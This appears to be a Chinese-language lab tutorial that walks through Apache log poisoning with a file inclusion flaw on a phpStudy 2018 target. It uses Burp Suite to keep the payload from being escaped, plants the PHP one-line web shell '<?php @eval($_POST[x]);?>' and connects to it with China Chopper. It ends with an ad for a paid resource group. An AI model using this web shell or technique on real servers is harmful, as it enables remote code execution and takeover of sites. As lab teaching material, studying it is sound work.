此实验中用的是phpstudy2018
靶机IP地址:192.168.212.131
一、前提条件
phpstudy中日志功能默认关闭,得手动修改配置文件开启apache日志功能
重启phpstudy,访问日志文件存在
二、文件包含漏洞测试
第一步:输入<?php phpinfo();?>进行测试
利用文件包含漏洞查看各个输入的内容是否存在与日志文件内
发现<?php phpinfo();?>已被转义成%3C?php%20phpinfo();?%3E
第二步:既然被转移,那就结合burpsuite抓包修改
开启burpsuite抓包,输入<?php phpinfo();?>继续进行测试
拦包修改被转义的内容
修改之后放包,再去文件包含日志文件,发现<?php phpinfo();?>已被执行
三、文件包含漏洞利用
第一步:输入一句话 <?php @eval($_POST[x]);?>
拦包修改被转义的内容
第二步:访问日志文件,查看没有一句话 内容,说明一句话 muma被当作php语言正常解析运行了
第三步:中国菜刀连接muma文件
添加成功之后,双击查看,成功链接
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。